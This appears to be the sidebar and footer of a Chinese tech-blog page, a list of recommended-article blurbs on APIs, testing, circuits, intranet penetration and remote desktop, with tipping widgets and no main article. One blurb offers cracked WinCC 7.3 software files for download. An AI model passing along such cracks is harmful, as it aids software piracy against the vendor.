1688店铺所有商品API接口(整店商品查询API接口)

1688店铺所有商品API接口、1688店铺列表API接口,1688店铺API接口,1688店铺查询商品API接口,1688店铺商品API接口,1688店铺详情接口,1688商品API接口

tbprice的博客 1570

Pytest 常见问题及其解决方案

Pytest 是一个强大且灵活的测试框架,但初学者在使用过程中难免会遇到各种问题。希望通过这篇文章,你能更好地应对常见的挑战,写出更高效、更稳定的测试代码。测试不是负担,而是保障。写好测试不仅能提高代码质量,还能让你在面对变更时更加从容自信。

qq_52137592的博客 901

内网渗透初探 | 小白简单学习内网渗透

以上便是我学习的简单地从外网获取shell,经过提权或不提权直接进行内网渗透的一个简单过程,其中涉及一些概念问题没有说的很明白,希望表哥们提点提点。以上仅为个人学习过程,可能知识点过于简单,望理解。原文作者:ajie原文地址:https://xz.aliyun.com/t/10439网络安全产业就像一个江湖,各色人等聚集。

2402_84205067的博客 1056

从仿真到打样:PMOS栅极泄放电路设计全流程复盘与三个踩坑点总结

本文详细复盘了PMOS栅极泄放电路从仿真到打样的全流程设计,重点总结了三个关键踩坑点:三极管BE结过压击穿、静态功耗超标和栅极振荡现象。通过优化缓启动电路、改进保护设计和布局调整,最终实现18ms开通时间、190μs关断时间和8μA静态功耗的工业级性能指标,为类似电源开关设计提供实用参考。

weixin_28693683的博客 371

内网安全Windows远程桌面控制程序(C++)实现

本项目是一个专为设计的轻量级远程桌面连接工具。它旨在提供一个,特别适用于 Windows 10/11 环境下的渗透测试场景。

atwlw的博客 1035

Qt EGLFS 图形后端详解

EGLFS (EGL Full Screen) 是Qt框架在嵌入式Linux系统中的高性能图形显示后端,它提供了直接基于EGL和OpenGL ES的硬件加速渲染解决方案。

浩瀚之水的专栏 513

YOLOv9改进策略【注意力机制篇】| 添加SE、CBAM、ECA、CA、Swin Transformer等注意力和多头注意力机制

这篇文章带来一个经典注意力模块的汇总,虽然有些模块已经发布很久了,但后续的注意力模块也都是在此基础之上进行改进的,对于初学者来说还是有必要去学习了解一下,以加深对模块,模型的理解。

Limiiiing的博客 2894

Kali 远程桌面总受局域网限制?用 cpolar 轻松突破,随时随地办公!

本文介绍了如何通过 cpolar 突破局域网限制,实现 Kali Linux 远程桌面的外网访问。首先在 Kali 上安装 Xrdp 工具并启动服务,确保本地远程连接成功。接着安装 cpolar 内网穿透软件,通过其 Web 界面创建 TCP 隧道,映射 Xrdp 默认的 3389 端口,获取公网访问地址。还可将随机地址配置为固定 TCP 地址,方便长期使用。整个过程无需公网 IP 和路由器端口映射,提升了 Kali 远程使用的灵活性。

不踩坑,不知道坑有多深;不总结,踩过的坑白踩。 11万+

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

初探内网渗透

搭建一个内网环境,做一次简单的内网渗透拓扑概览环境搭建三级目录 拓扑概览 环境搭建 win2008: phpstudy来做web服务 安装DNS 安装DHCP 三级目录

LainWith的博客 620

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

上一篇: 2021强网杯Write-Up真题解析之WEB部分(暴力干货,建议收藏)
下一篇: 涨见识了!定制化的渗透测试 - 水坑攻击之偷窥小姐姐的...
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值